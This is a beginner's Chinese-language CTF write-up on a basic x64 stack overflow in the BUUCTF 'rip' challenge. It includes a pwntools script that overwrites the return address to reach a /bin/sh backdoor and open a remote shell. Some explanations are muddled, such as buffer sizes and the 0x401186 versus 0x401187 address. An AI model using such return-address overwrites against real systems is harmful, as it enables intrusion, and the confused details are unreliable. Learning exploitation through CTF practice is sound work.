这两天在学习pwn,在ctf wiki
学习了典型的栈溢出,参考:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic/
在做题目的时候发现buuctf
的rip
和ctf wiki
的示例题目一样,考的都是gets()
方法的不限制输入
首先,根据ctf wiki
的描述,总结栈相关的知识:
- 栈在汇编代码中使用
push
入栈(压栈),使用pop
出站(销栈),采用先进后出的概念
- 可以理解为物理上在一个棍子上套圈,先套上去的后拿出来
x86
和x64
的区别:
x86
的参数直接放在栈
上x64
的参数会放在RDI, RSI, RDX, RCX, R8 和 R9寄存器中,放不下的参数会放在栈中
什么是栈溢出
根据我的大白话就是一个杯子只能放这么多水,再往里面倒更多的水,就会溢出,栈溢出也属于缓冲器溢出。
缓冲区类似包括:
- 栈溢出
- 堆溢出
- bss溢出
虽然不知道这些是什么,至少了解了这个概念。
最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址
ctf wiki
用一个很好的概念来理解栈
的结构,如下
+-----------------+
| retaddr |
+-----------------+
| saved ebp |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14-->+-----------------+
从图中可以看出,s
变量一共可以传入的字节大小为14
,如果超过的话,多出的就会到saved ebp
中,根据我的查阅saved ebp
保存的是栈帧
,根据栈帧确定变量的返回值,x86
中saved ebp
的大小为4个字节
,x64
中saved ebp
的大小为8个字节
,最后的retaddr
就是溢出的部分,我们可以控制retaddr
的值,将其修改为我们想要执行函数的内存地址。
EBP
(帧指针):指向栈底,保存了调用函数时栈的基址。saved EBP
(保存的帧指针):一般用于和EBP配合使用,以便在函数调用结束后返回。retaddr
(返回地址):指向函数的返回地址。当函数执行完成后,程序会返回到这个地址
上述我们已经简单了解了缓冲区溢出
,现在就可以对该题目进行解题了
下载该题目文件pwn1
,使用file
和checksec
查看文件相关信息
这是一个x64
位的ELF
可执行文件,没有开任何防御机制,专门给我们练手的题目
使用ida
打开分析main
函数
gets()
没有限制用户的输入,使用puts()
进行输出
在仔细观察,有一个自定义fun()
函数,其中的内容会执行/bin/sh
获得shell
,这就是改题目给我们留下的后门,我们需要通过获取靶机的shell
,然后获取flag
现在我们的思路就是:
将gets()
方法溢出,返回的地址是fun()
函数的地址执行fun()
函数
-
双击
s
变量,查看该变量定义的大小。从0
到f
,大小就是15
也就是十六进制f
-
获取
fun()
函数的内存地址,这里为0x401186
-
编写exp
编写思路如下:连接靶机端口,发送payload,获取靶机shell
其中有一些细节,请看注释
# 导入 pwntools 模块
from pwn import *
# 和靶机进行连接
r = remote("node4.buuoj.cn",26817)
# 定义fun函数的内存地址
fun_addr = 0x401187
# 定义payload,一共需要十六进制f(15)个字节数据a,需要8个十进制字节数据(b),这些都是垃圾数据
# 最后加上p64函数转换的fun函数的地址
payload = (b"a" * 0xf) + (b"b" * 8) + p64(fun_addr)
# 发送payload
r.sendline(payload)
# 获取靶机交互式终端
r.interactive()
上述脚本一些重要的知识点解析:
- 发送f(15)个字节数据
a
,是因为ebp
的大小为15
- 发送8个字节数据
b
,是因为saved ebp
的大小位8
(x64)位程序 - 最后发送
p64
函数包裹的数据,是为了让程序认为这是一个内存地址,不然接受的就是字符0x401187
运行得到执行ls
,cat flag
得到flag
值
今天解决了做pwn
第一道题目时候为什么手动输入地址是不行的概念,为什么需要再脚本中输入p64
或者p32
函数包裹,因为在计算机存储中,每个值按照字节进行存储。一般采用小端存储,就是上述的0x401187
在内存中的表现形式就是
\x87\x11\x40
不能再终端输入的原因是,在终端输入\
或者x
会认为这是一个单独的字符,所以要想把\x87\x11\x40
这样的字符传入,就需要使用pwntools
中带有的p64
和p32
函数。